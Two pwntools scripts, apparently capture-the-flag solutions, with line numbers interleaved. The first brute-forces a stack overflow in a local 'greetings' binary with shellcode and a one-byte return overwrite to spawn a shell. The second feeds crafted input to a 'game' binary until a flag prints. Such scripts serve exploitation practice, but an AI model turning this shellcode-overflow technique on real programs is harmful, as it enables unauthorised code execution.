1
from pwn import *
2

3
context(arch = 'amd64',os = 'linux', log_level = 'debug')
4

5
LOCAL = './greetings'
6
HOST = ''
7
PORT = 1
8

9
#p = remote(HOST, PORT)
10
# gdb.attach(p, '''
11
# ''')
12

13
while True:
14
    p = process(LOCAL)
15
    shellcode = asm('''sub rsp, 0x100''' + shellcraft.sh())
16
    print("shellcode_len:{}".format(len(shellcode)))
17

18
    payload = flat([
19
        shellcode,
20
        b'a' * (72 - len(shellcode)),
21
        b'\xDF'
22
    ])
23

24
    p.sendline(b'72')
25
    p.send(payload)
26

27
    try:
28
        p.sendline(b'echo shell_success')
29
        response = p.recvuntil(b'shell_success', timeout = 1)
30

31
        if b'shell_success' in response:
32
            p.interactive()
33
            break
34
    except EOFError:
35
        p.close()
36
        continue

1
from pwn import *
2

3
context(arch='amd64', os='linux', log_level='debug')
4

5
LOCAL = './game'
6
HOST = ''
7
PORT = 1
8

9
p = process(LOCAL)
10
# gdb.attach(p, '''
11
# ''')
12

13
payload =flat([
14
    b'xx\n' * 32,
15
    b'hu\n',
16
    b'nt\n',
17
])
18

19
p.recvuntil(b'(W)est ')
20
p.send(payload)
21

22
while(True):
23
    p.sendline(b'MW')
24
    response = p.recvuntil(b'(W)est ', timeout = 3)
25
    if b'flag{' in response:
26
        print(response)
27
        break
28
    else:
29
        continue